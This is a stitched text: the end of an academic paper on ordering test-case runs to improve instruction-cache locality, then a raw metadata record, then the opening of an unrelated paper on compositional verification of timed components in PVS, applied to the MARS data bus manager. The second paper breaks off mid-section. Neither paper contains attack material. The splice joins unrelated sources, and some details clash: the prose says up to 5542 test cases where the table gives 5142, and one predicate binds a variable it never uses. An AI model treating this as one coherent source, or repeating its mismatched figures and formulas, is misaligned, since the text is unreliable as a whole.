The rationale for this definition of distance is that instruction locality between test runs is greater when there are more common instructions between them (or fewer different instructions). For instance, let’s say for test runs $T1$ and $T2$, 30% of their instructions were the same, and for $T1$ and $T3$, 65% of the instructions were the same. Then, we improve the chances of re-visiting the same instructions between two test runs if we place $T1$ next to $T3$, rather than $T2$, in the order of test execution.
To enable scalability, we use basic blocks instead of instructions to compute distance in Equation 1. $D(T_i, T_j)$ is the symmetric difference between the set of basic blocks visited by $T_i$ and $T_j$. Note that, $D(T_i, T_j) = D(T_j, T_i)$ in our definition. In our implementation we express the distance as a fraction of the total number of basic blocks visited by all test cases
$$D(T_i, T_j) = \frac{\#\text{basic-blocks different between } T_i \text{ and } T_j}{\#\text{basic-blocks visited by all tests}}$$ (2)
As stated earlier, our approach to solve the distance minimisation problem is based on the nearest neighbour algorithm. For a sequence with $N$ test case runs and $T_p$ being a test case run at position $p$, our approach re-orders (or permutes) the sequence such that,
$$D(T_i, T_{i+1}) \leq D(T_i, T_j)$$
where $j > i + 1$ and $i \in \{1, \ldots, (N - 2)\}$ (3)
The condition in Equation 3 states that for a test case run at position $i$, $T_i$, the next test case run in the permuted sequence, $T_{i+1}$, should be the one that has the least distance to $T_i$ among the test case runs that have not yet been visited (or permuted). Our algorithm is illustrated in Table 1. We provide as inputs $N$ test cases and $T_p$ being a test case at position $i$. We also provide an input threshold distance, $Thr$, so that test case runs who are within $Thr$ distance of each other will be considered neighbours and used in the nearest neighbour computation.
Test cases whose distance exceeds $Thr$ are not considered neighbours and will be examined for ordering only after all the neighbours are visited. $Thr$ is a function of cache size and program size and is used as an indicator of the distance limit beyond which immediate temporal locality between test cases cannot be improved by ordering. This in turn helps save computation effort and time by not having to consider test cases that exceed $Thr$ in the nearest neighbour computation.
Our algorithm shown in Table 1 computes the distances between all test cases and stores them in a distance matrix. The heuristic we use to pick the starting test case run in our execution order is the one with most unvisited neighbours. We set this to current test case and mark it with a visited flag. We then check if the current test case has unvisited neighbours and pick the one that is closest. This becomes the new visited current and the process is repeated with neighbours. If there are no unvisited neighbours, and we still have test cases that are not visited, we pick a new current test case in the same way as we picked the starting test case in the beginning and repeat the process with neighbours. This naive greedy algorithm for ordering test cases using nearest neighbour has a complexity $O(N^2)$, where $N$ is the number of test cases. In our future work, we plan to reduce complexity in creating the ordering using approximation algorithms.
3.1 Implementation
For achieving step 1 of the algorithm in Table 1 we use Intel’s Pin [14], a dynamic binary instrumentation framework which allows the development of analysis tools (commonly referred to as Pintools). We implemented our Pintool to record the basic blocks visited for every test case execution. The remaining steps 2 to 10 of the algorithm to generate the permuted sequences of test cases are implemented in C++11 and LLVM passes [13]. Given a C/C++ program and test cases, our implementation will execute each test case independently and dynamically analyse it with the Pintool. Each test case is mapped to a set of visited basic blocks, which is then used to compute the distance between test cases and to build the distance matrix. Finally, we use the distance matrix to generate the optimised permutation sequence. In the next section, we present the questions evaluated in our experiment along with a description of tools and subject programs used for our measurements.
4. EXPERIMENT
Table 2: Subject programs used in our experiment
<table>
<thead>
<tr>
<th>Subject</th>
<th>Size (Avg. Exec. Instrucs.)</th>
<th>#Test Cases</th>
</tr>
</thead>
<tbody>
<tr>
<td>replace</td>
<td>1.28e+04</td>
<td>5142</td>
</tr>
<tr>
<td>sed</td>
<td>5.36e+06</td>
<td>358</td>
</tr>
<tr>
<td>tcas</td>
<td>2.29e+02</td>
<td>1608</td>
</tr>
<tr>
<td>totinfo</td>
<td>1.89e+04</td>
<td>1052</td>
</tr>
</tbody>
</table>
In this paper, we only present a preliminary evaluation with a small number of programs. We plan to undertake an extensive evaluation of our approach with a large set of programs and test suites in our future work. The questions we seek to answer in our preliminary evaluation are,
Q 1. Is time taken for test suite execution affected by the order in which test cases are executed?
To answer this question, for each subject program and associated set of test cases, we first randomly permute the sequence of test cases. We perform 2000 such random permutations and measure time taken for execution. The distribution of time measurements gives an estimate of the effect of test case ordering. The effect of permuting test cases is hard to predict and can vary widely among programs (and their test cases) based on their characteristics (such as
---
\[Thr = 1 - (Average \#instructions across test runs / Cache size in instructions)\] if (program size < cache size). Else, $Thr$ is median of minimum and maximum distance observed in the distance matrix.
control flow, memory references, computations, number of instructions).
Q 2. How does time consumed by our optimised permutation compare to random test case permutations?
We measure the time consumed by executing test cases in the permuted sequence produced by our algorithm (referred to as optimised permutation). We compare it to the mean time consumed and the distribution of the random permutations measured in Q1. We also use the best and worst case times of the random permutations in our comparison.
4.1 Measurement
We run our experiments using a desktop computer powered by an Intel Core 2 Duo E8400 processor at 3 GHz, 32KB of Instruction Cache, and 32 KB of L1 Data Cache. The machine runs Ubuntu Server 14.04 with Linux kernel 3.16.0.33. We ensure no additional services are running on the server edition of Ubuntu when we perform measurements. We measure execution time of our algorithm and program test case runs using a system clock function included in the std::chrono library in C++11.
4.2 Subject Programs
We use 4 programs from the SIR repository [8] for our experiment. Programs include pattern matching and substitution (replace), stream text editor (sed), a statistics program (totinfo), and an aircraft collision avoidance system (tcas). The subject programs have between 358 and 5542 test cases. Program execution size (reported as average number of executed instructions across all test cases) and number of test cases for the programs used in our experiment is shown in Table 2.
For the subject programs, each test permutation is executed multiple times in our measurement. This is done so that we report the execution time of all programs on a comparable scale in seconds. Executing the test permutation multiple times simply scales the execution time and has no effect on the interpretation of the results and the impact of permutations reported. The results from our experiments and their analyses is presented in the next Section.
5. RESULTS AND ANALYSIS
5.1 Q1 Analysis
We ran 2000 random permutations of test cases, measuring execution time of each permutation, for each of the four SIR programs. Table 3 shows, for each subject program, the histogram frequencies of execution times for the 2000 random permutations using a frequency polygon. The mean execution time across permutations is shown as a dashed red vertical line. The execution time of the optimised permutation generated by our algorithm is shown as a green line. The shaded area under the curve to the left of the green line represents the percentage of random permutations that execute faster than our optimised version. Table 4 shows the median\(^8\), best and worst execution times in the distribution over random permutations. We also show our optimized permutation time for easy comparison. We do not show standard deviation, since we found that the execution times for all subject programs over the random test permutations were not normally distributed. We confirmed this by running a chi-squared goodness of fit test, and the p-values for all programs was 0 (rejecting the null hypothesis that they are normally distributed at 5% significance level).
It can be seen from the plots in Table 3 that execution times clearly vary across test permutations. The extent to which execution times vary is different for each program and associated tests. For instance, in program sed, execution times are symmetrically distributed. The execution times for the random permutations lie close to the mean for sed. We believe this is because the size of a single test execution over sed exceeds the L1 instruction cache size. Thus permutations will have limited effect on instruction locality across test executions, or execution time as a result of that, at the L1 level. They may, however, still have an effect on the L2 level cache. Distribution of execution times in the other subject programs are positively skewed with long tail ends on the right. This is especially prominent for the programs tcas, replace. The differences between the best and worst permutation execution times were 57.1% and 44.3%, respectively. We believe the large difference is because test case distances were distributed over a wide range for these two programs. Test suites for these programs were such that there were clusters of test cases with low distances within the cluster, i.e. they execute similar control flow paths. Distances between test cases across clusters were high. As a result, random permutations that change the ordering of test cases within a cluster will have little effect on the instruction
\(^7\)For tcas, each test permutation is run 1000 times. 100 times for replace, sed, totinfo.
\(^8\)The median and mean for all subject programs were the same numerically up to the second decimal place. As a result, we only use one of them, mean, in our comparisons.
\begin{table}[h]
\centering
\caption{Algorithm for permuting sequence of test cases for improved temporal locality}
\begin{tabular}{ll}
\hline
\textbf{Algorithm} & \textbf{Permute Sequence of Test Case Runs} \\
\hline
\textbf{Input:} & \(N\) test cases, \(P\) program. \\
& \textit{Thr} defining cutoff distance between test cases to be neighbours. \\
\textbf{Output:} & List \(R\) with the permuted sequence of \(N\) test cases. \\
\textbf{begin} & \begin{enumerate} \\
\item For \(1 \leq i \leq N\), run each test case, \(T_i\), on \(P\) and record the set of basic blocks visited. \(\{BT_i\}\). \\
\item Mark all test case runs as not visited (or unvisited). Initialise \(R\) to be an empty list. \\
\item \(\forall i, j \in \{1, N\}\), build a distance matrix of \(T_i\) to \(T_j\), such that \(D(T_i, T_j) = \{BT_i\} \triangle \{BT_j\}\). \\
\item From the distance matrix, select a starting \(T\) as the one that is not visited and has most\(^7\) unvisited neighbours (i.e. distance \(\leq \text{Thr}\)). \\
\item Set this to current\(_T\), mark as visited, and insert it into the end of list \(R\). \\
\item If current\(_T\) has no unvisited neighbours, go to Step 9. \\
\item Pick the neighbour that is not visited and has least distance from current\(_T\). \\
\item Go to Step 5. \\
\item If there are unvisited test case runs in matrix \(D\), go to Step 4. \\
\item Output \(R\) as the permuted sequence of test cases. \\
\end{enumerate} \\
\hline
\end{tabular}
\end{table}
locality. On the other hand, permutations that changed the order across clusters will have a negative effect on instruction locality. The size and number of clusters will determine the size of effect.
**Q1 Answer.**
It is clear from the plots in Tables 3 that the order in which test cases are executed affects execution time. The nature of the program and test cases, in terms of size of a single test execution and the range of distances between test cases, determine the magnitude of the effect. The differences between worst and best permutation execution times ranged from 18.3% to 57.1% across our subject programs.
**Table 4: Statistics on execution time (in secs) distribution compared with optimised permutation (Opt.)**
<table>
<thead>
<tr>
<th>Subject</th>
<th>Median</th>
<th>Worst</th>
<th>Best</th>
<th>Opt.</th>
</tr>
</thead>
<tbody>
<tr>
<td>replace</td>
<td>2.03</td>
<td>2.64</td>
<td>1.83</td>
<td>1.88</td>
</tr>
<tr>
<td>sed</td>
<td>2.58</td>
<td>2.81</td>
<td>2.35</td>
<td>2.41</td>
</tr>
<tr>
<td>tcas</td>
<td>4.39</td>
<td>6.63</td>
<td>4.22</td>
<td>4.33</td>
</tr>
<tr>
<td>totinfo</td>
<td>2.67</td>
<td>2.97</td>
<td>2.51</td>
<td>2.56</td>
</tr>
</tbody>
</table>
**5.2 Q2 Analysis**
The green vertical line in the plots in Tables 3 shows the execution time of our optimised permutation. It is worth noting that we took 100 measurements of the execution time of our optimised permutation for each program. The measurements were only marginally different (same numerically up to the third decimal place) and as a result, we only show a vertical line in the plots. The ‘Opt.’ column in Table 4 shows the average over these 100 time measurements of the optimised permutation. As stated earlier, the shaded area in the plots represents the percentage of random permutations that execute faster than our optimised version. The optimised permutation does better than 97% of the random permutations on 3 of the 4 subject programs, replace, sed, totinfo. For tcas, we outperformed 93% of the random permutations. As observed earlier, test suites for the subject programs have clusters of test cases with low distances within, and high distances across clusters. Our approach for permutation ensures that test cases in clusters are executed together, effectively leveraging the instruction locality between them. We believe this is the primary reason for outperforming such a large majority of the random permutations. The sizes of these programs and numbers of test cases vary widely, as seen from Table 2. The improvement over average random permutation execution time was in the range of 1.4% to 7.4% for these programs. The improvement over the worst permutation was significant, ranging from 13.8% to 34.7%. The best permutation was comparable to our optimised permutation and was faster by a small margin, 1.9% to 2.6%.
**Q2 Answer.**
We found that our optimised permutation outperformed a significant fraction (more than 93%) of random permutations over all subject programs. The gain in execution time varied across programs. It was in the range of 1.4% to 7.4% over average, and 13.8% to 34.7% over worst permutation.
6. CONCLUSION AND FUTURE WORK
We proposed an approach for reducing time consumed during the execution of a test suite by permuting test cases for improved instruction locality. The idea in this paper of optimising locality of references across program runs, rather than just a single run is entirely novel. The approach we use to improve instruction locality, aims to minimise the distance between neighbouring test cases in the execution order. Distance is measured as the number of different instructions executed between two test cases. We use a greedy approximation algorithm for permuting the test cases based on their distance.
We conducted a preliminary evaluation using four subject programs from the SIR repository. We used 2000 random permutations of the test suite in each of four subject programs. The results in our experiment showed that the order of test case execution matters for execution time. The differences between worst and best permutation running time ranged from 18.3% to 57.1%, across our subject programs. Our optimised permutation outperformed a significant fraction of random permutations overall subject programs. The gain in execution time varied across programs. It was in the range of 1.4% to 7.4% over average, and 13.8% to 34.7% over worst permutation. As with compiler optimisation techniques, the effectiveness of our approach depends on the characteristics of the program and test cases. Size of the program, distances between test case runs, number of test cases, cache size, will all have a significant effect on the time savings from our approach.
The initial experiment in this paper provides evidence that, (1) Test case execution order is important to consider for execution time, and (2) Improving instruction locality across test case executions helps improve execution time. These two observations are the main contributions in this paper. We are aware that there may exist better algorithms to generate an optimised permutation than the one used in this paper. We will explore these along with scalability challenges, with respect to program size (that exceeds cache size) and number of test cases, in our future work. Once we address the scaling challenges with respect to program size and number of tests, we will explore large applications from different domains with nightly (or some frequent periodic) test suite runs.
7. REFERENCES
|
{"Source-Url": "https://www.pure.ed.ac.uk/ws/files/27047765/main_9.pdf", "len_cl100k_base": 6787, "olmocr-version": "0.1.49", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 21950, "total-output-tokens": 8639, "length": "2e12", "weborganizer": {"__label__adult": 0.00043654441833496094, "__label__art_design": 0.0003211498260498047, "__label__crime_law": 0.00037479400634765625, "__label__education_jobs": 0.000461578369140625, "__label__entertainment": 7.361173629760742e-05, "__label__fashion_beauty": 0.0002048015594482422, "__label__finance_business": 0.00020706653594970703, "__label__food_dining": 0.0003688335418701172, "__label__games": 0.0008320808410644531, "__label__hardware": 0.0022602081298828125, "__label__health": 0.0006194114685058594, "__label__history": 0.00031447410583496094, "__label__home_hobbies": 0.00010484457015991212, "__label__industrial": 0.0004363059997558594, "__label__literature": 0.0002994537353515625, "__label__politics": 0.0002834796905517578, "__label__religion": 0.0004930496215820312, "__label__science_tech": 0.0391845703125, "__label__social_life": 7.104873657226562e-05, "__label__software": 0.005611419677734375, "__label__software_dev": 0.94580078125, "__label__sports_fitness": 0.00039839744567871094, "__label__transportation": 0.0006656646728515625, "__label__travel": 0.00023353099822998047}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36065, 0.04217]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36065, 0.22125]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36065, 0.90284]], "google_gemma-3-12b-it_contains_pii": [[0, 1389, false], [1389, 6287, null], [6287, 13310, null], [13310, 20285, null], [20285, 26639, null], [26639, 29600, null], [29600, 36065, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1389, true], [1389, 6287, null], [6287, 13310, null], [13310, 20285, null], [20285, 26639, null], [26639, 29600, null], [29600, 36065, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36065, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36065, null]], "pdf_page_numbers": [[0, 1389, 1], [1389, 6287, 2], [6287, 13310, 3], [13310, 20285, 4], [20285, 26639, 5], [26639, 29600, 6], [29600, 36065, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36065, 0.07273]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
a2b5d8404de4637005397247e37c56d3059baaf8
|
Compositional Verification of Timed Components using PVS
Marcel Kyas
Christian-Albrechts-Universität zu Kiel, Germany
mky@informatik.uni-kiel.de
Jozef Hooman
Embedded Systems Institute & Radboud University Nijmegen, The Netherlands
hooman@cs.ru.nl
Abstract: We present a general framework to support the compositional verification of timed systems using the interactive theorem prover PVS. The framework is based on timed traces that are an abstraction of the timed semantics of flat UML state machines. We define a compositional proof rule for parallel composition and prove its soundness in PVS. After composition, a hiding rule can be applied to hide internal events. The general theories have been applied to parts of the Medium Altitude Reconnaissance System (MARS) as deployed in the F-16 aircraft of the Royal Netherlands Air-Force.
1 Introduction
In recent years, UML [Obj04] has been applied to the development of reactive safety-critical systems, in which the quality of the developed software is a key factor. Within the Omega project we have developed a method for the correct development of real-time embedded systems using a subset of UML, which consists of state machines, class diagrams, and object diagrams. In this paper we present a general framework supporting compositional verification of such designs using the interactive theorem prover PVS [ORS92, ORSvH95]. The framework is based on timed traces, which are abstractions of the timed semantics of UML state machines [vdZH06]. The focus is on the level of components and their interface specifications, without knowing their implementation [dR85, HdR85].
Our specifications are logical formulae that express the desired properties of a system or its components using predicates on timed traces. To formalise intermediate stages during the top-down design of a system, we have devised a mixed formalism where specifications and programming constructs can be mixed freely. In this paper, we restrict ourselves to parallel composition and hiding. This is inspired by similar work on untimed systems [Old85, Zwi89] and related to work on timed systems [Hoo98].
We apply our general theories to a part of the Medium Altitude Reconnaissance System
*This work has been supported by EU-project IST-2001-33522 OMEGA “Correct Development of Real-Time Embedded Systems.” For more information, see http://www-omega.imag.fr/.
MARS as deployed by the Royal Netherlands Air Force on the F-16 aircraft [Ome05]. The system employs two cameras to capture high-resolution images. It counteracts image quality degradation caused by the aircraft’s forward motion using a compensating motion of the film during its exposure. The control values for the forward motion compensation of the film speed and the frame rate are being computed in real-time, based on the current aircraft altitude, ground speed, and some additional parameters. The system is also responsible for producing the frame annotation, containing time and the aircraft’s current position, which must be synchronised with the film motion. Here, we focus on the data- bus manager. It receives messages from sensors measuring the altitude and the position of the aircraft and tries to identify whether the sensors have broken down and — if they have — whether they have recovered.
In the OMEGA project, several formal techniques have been applied to the MARS case study. Live Sequence Charts (LSCs) [DH01] have been used to capture the requirements. Non-timed, functional properties of the MARS system have been verified using the model-checking tool UVE [STMW04]. Timed model checking has been applied by means of IFx, an extension of the IF toolbox [BGO+04]. The approaches based on model-checking provide simulation and automated verification, but are limited to finite state systems.
To allow general verification of unbounded, infinite state systems, we have used the PVS tool, a general purpose theorem prover which is freely available [PVS]. PVS has a powerful specification language, based on higher-order typed logic. Specifications can be organised as hierarchies of parameterised theories, which may contain, e.g., declarations, definitions, axioms, and theorems. The PVS proof engine can be used to prove theorems which have been stated in the theories. To prove a particular goal, the user invokes proof commands which should simplify the goal until it can be proved automatically by PVS.
The first verification experiments with the original UML-model of the MARS system revealed that global, non-compositional verification is difficult and limited to small systems. To be able to apply compositional verification, the MARS system has been redesigned by means of a few well-defined components. The focus of this paper is on the specifications that have been used for the compositional verification of this redesign using PVS.
In the next section we describe the semantics of our formal framework. Section 3 introduces compositional proof rules. Section 4 describes the overall behaviour of our case study. Section 5 describes the decomposition of this overall specification into suitable components. Section 6 contains concluding remarks.
## 2 Semantics
Specifications are based on assertions which are predicates on traces $\theta$ consisting of observations $o$. For each observation we observe the event that is occurring, written $E(o)$, and the time at which it occurs, written $T(o)$. Time is defined to be a non-negative real and delays are assumed to be positive. The special event $\epsilon$ represents either that time elapses or that some hidden event is occurring. We use $\theta_i$ to denote the $i$-th observation of trace $\theta$. Traces have to satisfy the following properties in order to be well-formed:
1. Time is monotone: $\forall i, j : i \leq j \rightarrow T(\theta_i) \leq T(\theta_j)$
2. Time progresses, i.e., is non-Zeno: $\forall i, \delta : \exists j : i \leq j \land T(\theta_i) + \delta \leq T(\theta_j)$
3. Proper events are instantaneous: $\forall i : E(\theta_i) \neq \epsilon \rightarrow T(\theta_i) = T(\theta_{i+1})$
The projection of a trace $\theta$ on a set of events $Eset$ is defined as:
$$\theta \downarrow Eset = \lambda k : \begin{cases} \theta_k, & \text{if } E(\theta_k) \in Eset \\ \epsilon, & \text{otherwise} \end{cases}$$
A component is specified by an assertion and a signature which is a set of events $Eset$ which can be observed by the component. Usually this concerns the receiving and the sending of messages. The assertion specifies the behaviour of the component, a set of traces, formalised by a predicate $\Theta$ on traces $\theta$ over its signature. Hence, a component $C$ is defined by the pair $(Eset, \Theta)$, where the behaviour respects the interface, i.e., $\forall \theta : \Theta(\theta) \rightarrow \theta \downarrow Eset = \theta$.
We define parallel composition of components $C_1 = (E_1, \Theta_1)$ and $C_2 = (E_2, \Theta_2)$ as
$$C_1 \parallel C_2 = (E_1 \cup E_2, \{ \theta \mid \theta \downarrow E_1 \in \Theta_1 \land \theta \downarrow E_2 \in \Theta_2 \land \theta \downarrow (E_1 \cup E_2) = \theta \})$$
That is, the projection of any trace of the parallel composition on the signature of one of the components yields a trace of this component. Observe that this implies that the components synchronise on their common events. Moreover, a trace of the composition should not include any new events outside the joint signature, as in [dRea01, Section 7.4].
For a component $C = (E, \Theta)$ and a set of events $E'$ the hiding operator $C - E'$ removes the events in $E'$ from the signature of C. It is formally defined by
$$C - E' = (E \setminus E', \{ \theta \mid \exists \theta' \in \Theta : \theta = \theta' \downarrow (E \setminus E') \})$$
We define a few suitable abbreviations.
- $E(\theta_i) = e$ states that the event $e$ occurs at position $i$ in the trace $\theta$
- $\text{Never}(e, i, j)(\theta) = \forall k : i \leq k \land k \leq j \rightarrow E(\theta_k) \neq e$ asserts that the event $e$ does not occur between positions $i$ and $j$ in the trace $\theta$
- $\text{Never}(e)(\theta) = \forall k : E(\theta_k) \neq e$ asserts that $e$ never occurs in trace $\theta$
- $\text{AfterWithin}(e, i, \delta)(\theta) = \exists j : j \geq i \land E(\theta_j) = e \land T(\theta_j) - T(\theta_i) \leq \delta$ states that the event $e$ occurs at some position $j$ after $i$ which is no later that $\delta$ time units from $i$
Because we aim at a mixed framework, in which specifications and programming constructs can be mixed freely, a specification is also considered to be a component. Hence specification $S = (E, \Theta)$ is identified with the component $(E, \{ \theta \mid \theta \downarrow E = \theta \land \Theta(\theta) \})$.
Component $C_1 = (E_1, \Theta_1)$ refines component $C_2 = (E_2, \Theta_2)$, written $C_1 \rightarrow C_2$, if $E_1 = E_2 \land \forall \theta : \Theta_1(\theta) \rightarrow \Theta_2(\theta)$. The refinement relation is a partial order on components and specifications.
3 Compositional Proof Rules
Next we derive a number of compositional proof rules. Their correctness is checked in PVS based on the semantic definitions and the definition of specifications. We start with a consequence rule, which allows the weakening of assertions in specifications. Let \( C_1 = (E_1, \Theta_1) \) and \( C_2 = (E_2, \Theta_2) \) be two specifications. Then
\[
(E_1 = E_2 \land (\forall \theta : \Theta_1(\theta) \rightarrow \Theta_2(\theta))) \rightarrow (C_1 \implies C_2)
\]
To define a sound rule for parallel composition, we first show that the validity of an assertion \( \Theta \) only depends on its signature. This is specified using the following predicate:
\[
\text{depends}(\Theta, E) \iff \forall \theta, \theta' : \Theta(\theta) \land \theta \downarrow E = \theta' \downarrow E \rightarrow \Theta(\theta')
\]
Then we can establish \( \forall E : \text{depends}(\Theta, E) \leftrightarrow (\forall \theta : \Theta(\theta) \leftrightarrow \Theta(\theta \downarrow E)) \). Using this statement we can prove the soundness of the following parallel composition rule:
\[
(\text{depends}(\Theta_1, E_1) \land \text{depends}(\Theta_2, E_2)) \rightarrow ((E_1, \Theta_1) \parallel (E_2, \Theta_2) \implies (E_1 \cup E_2, \Theta_1 \land \Theta_2))
\]
To be able to use refinement in a context, we derive a monotonicity rule:
\[
((C_1 \implies C_2) \land (C_3 \implies C_4)) \rightarrow ((C_1 \parallel C_3) \implies (C_2 \parallel C_4))
\]
Similarly, we prove a compositional rule and a monotonicity rule for the hiding operator.
\[
\text{depends}(\Theta, E_1 \setminus E_2) \rightarrow ((E_1, \Theta) \parallel E_2) \implies (E_1 \parallel E_2, \Theta))
\]
\[
(C_1 \implies C_2) \rightarrow ((C_1 - E) \implies (C_2 - E))
\]
4 The MARS Example
We consider only a small part of the MARS example, namely the data bus manager. This part serves as an illustration on how to apply the presented techniques to a timed system. Figure 1 shows the architecture of the data bus manager.
The data sources *altitude data source* and *navigation data source* send data to a *message receiver*. If the data sources function correctly, they send data with period $P$ and jitter $J < \frac{P}{2}$, as depicted in Figure 2; data should be sent in the grey periods.

First, we specify correct data sources, using $S = \{1, 2\}$ as an abstract representation of the two data sources. Let $d_s$ represent the data items sent by source $s$, where $s$ ranges over $S$, and $D = \{d_s | s \in S\}$ denotes the total set of data items sent by both sources.
For any data source $s$ its behaviour is specified by the assertion $DS_{s,1}(\theta) \land DS_{s,2}(\theta)$ on its traces of observations $\theta$. Assertion $DS_{s,1}$ specifies that each occurrence of an event $d_s$ is within the period specified by the jitter. $DS_{s,2}$ specifies that at most one such message is sent during this period.
$DS_{s,1}(\theta) \iff \forall i: E(\theta_i) = d_s \rightarrow \exists n: nP - J \leq T(\theta_i) \land T(\theta_i) \leq nP + J$
$DS_{s,2}(\theta) \iff \forall i, j: E(\theta_i) = d_s \land E(\theta_j) = d_s \rightarrow \begin{aligned} i &= j \lor P - 2J \leq |T(\theta_i) - T(\theta_j)| \end{aligned}$
Consequently, a data source will not send data outside of the assigned time frame and will also not send more than one data sample during this time frame.
Next we formalise the global specification of the MARS system. If a data source fails to send a data item for $K$ consecutive times, then the system shall indicate this error by sending signal $err$. The system is said to have recovered if $N$ consecutive data messages have been received from each source. In the original MARS system $K = 3$ and $N = 2$.
The occurrence of $N$ consecutive events $e$ between $i$ and $j$ is specified by the predicate $occ(e, N, i, j)$, which is defined as follows:
$occ(e, N, i, j)(\theta) \iff \begin{aligned} N &= 0 \lor \\ \exists f: |\text{dom}(f)| = N \land f(0) = i \land \\ &f(|\text{dom}(f)| - 1) = j \land (\forall k: k \leq |\text{dom}(f)| - 1 \rightarrow E(\theta_{f(k)}) = e) \land \\ &P - J < T(\theta_{f(k+1)}) - T(\theta_{f(k)}) \land T(\theta_{f(k+1)}) - T(\theta_{f(k)}) < P + J) \end{aligned}$
This implies that there exists a strictly monotonically increasing sequence $f$ of length $N$ of indexes starting at $i$ and ending at $j$ such that at each position in this sequence the event $e$ occurs and that these events occur $P \pm J$ time-units apart.
To express that $K$ data items have been missed we define:
$\text{TimeOut}(e, t, i, j)(\theta) \iff \text{Never}(e, i, j) \land T(\theta_j) - T(\theta_i) \geq t$
which states that event $e$ has not occurred for at least $t$ time units between positions $i$ and $j$ in trace $\theta$.
Observe that a data source $s$ is in an error state at position $i$ in the trace $\theta$ if it has not sent data for at least $L \equiv KP + 2J$ time units at position $j$ and that it has not recovered until position $i$. This is expressed by the following assertion:
$$\text{Error}(d, i)(\theta) \iff \exists k : j < i \land \text{TimeOut}(d, L, j)(\theta) \land (\forall m : j < m \land m \leq i \rightarrow \neg \exists l : \text{occ}(d, N, l, m)(\theta))$$
The validity of an error signal is specified by assertion $TDS_1$, where $\Delta_{err}$ represents the delay needed to react to the occurrence of an error.
$$TDS_1(\theta) \iff \forall i, j : i < j \land (\exists s : \text{TimeOut}(d_s, L, i, j)(\theta)) \land (\forall s : \neg \text{Error}(d_s, j)(\theta)) \rightarrow \text{AfterWithin}(\text{err}, j, \Delta_{err})(\theta)$$
The integrity of the error signal $err$ is specified by:
$$TDS_2(\theta) \iff \forall j : E(\theta_j) = \text{err} \rightarrow \exists i, k : i < k \land k < j \land (\exists s : \text{TimeOut}(d_s, L, i, k)(\theta)) \land (\forall s : \neg \text{Error}(d_s, k)(\theta)) \land \text{Never}(\text{err}, k, j - 1)(\theta)$$
The system recovers from an error when all data sources have been sending $N$ consecutive messages. This recovery is indicated by sending an $ok$ signal. The next predicate specifies that all sources have indeed sent $N$ consecutive data messages.
$$\text{Recover}(D, i, j) \iff \exists f, g : i = \min_{d \in D} f(d) \land j = \max_{d \in D} g(d) \land (\forall d, d' : |T(\theta_{f(d)}) - T(\theta_{f(d')})| \leq 2J) \land (\forall d, d' : |T(\theta_{g(d)}) - T(\theta_{g(d')})| \leq 2J) \land (\forall d : \text{occ}(d, N, f(d), g(d)))$$
This predicate states that there exist two functions $f$ and $g$ from events to positions such that $i$ is the smallest value produced by $f$, $j$ is the largest value produced by $g$, the values in the range of $f$ are at most $2J$ time units apart, as are the values in the range of $g$ such that we have $N$ occurrences of $d$ between $f(d)$ and $g(d)$. Using this predicate, we can define the validity of the $ok$ signal, using delay $\Delta_{ok}$ to model the reaction time needed to recover.
$$TDS_3(\theta) \iff \forall i, j : i < j \land \text{Recover}(D, i, j)(\theta) \land (\exists s : \text{Error}(d_s, j)(\theta)) \rightarrow \text{AfterWithin}(\text{ok}, j, \Delta_{ok})(\theta)$$
The integrity of the $ok$ signal is specified by:
$$TDS_4(\theta) \iff \forall j : E(\theta_j) = \text{ok} \rightarrow \exists i, k : i < k \land k < j \land (\exists s : \text{Error}(d_s, i)(\theta)) \land \text{Recover}(D, i, k)(\theta) \land \text{Never}(\text{ok}, k, j - 1)(\theta)$$
Finally, we specify the behaviour of the global system by $TDS$:
$$TDS(\theta) \iff \bigwedge_{1 \leq i \leq 4} TDS_i(\theta)$$
5 Decomposition of the MARS example
In this section we decompose the MARS system in a few components, such that we can show by compositional deductive verification that the composition of these components satisfies the global specification TDS as presented in the previous section.
The main idea is that we specify a separate data receiver for each data source \( s \) and later compose these receivers for different data sources with a component that specifies the combinations of errors and recovery. This architecture is depicted in Figure 3.
The \textit{message receivers} are identical processes; for a data source \( s \) it receives data items \( d_s \) and internal states are made visible by external signals \( \text{err}_s, \text{miss}, \text{ok}_s \) to represent error and recovery. The role of \( \text{miss} \) signals will be explained later.
5.1 Message Receiver
The message receiver processes the data received from one data source. Processing data takes time, which varies depending on the data received. We assume that this time is between \( l \) and \( u \). The message receiver should enter an error state if \( K \) successive messages are missing from its source. It should resume normal operation if it has received \( N \) successive messages from its source. Observe that this is very similar to the global specification of the MARS system, now restricted to a single data source. Hence the assertions \( \text{MR}_{s,1} \) through \( \text{MR}_{s,4} \) which specify the \( \text{err}_s \) and \( \text{ok}_s \) events are similar to \( \text{TDS}_1 \) through \( \text{TDS}_4 \). Here we only present \( \text{MR}_{s,5} \) and \( \text{MR}_{s,6} \) which specify the \( \text{miss} \) event.
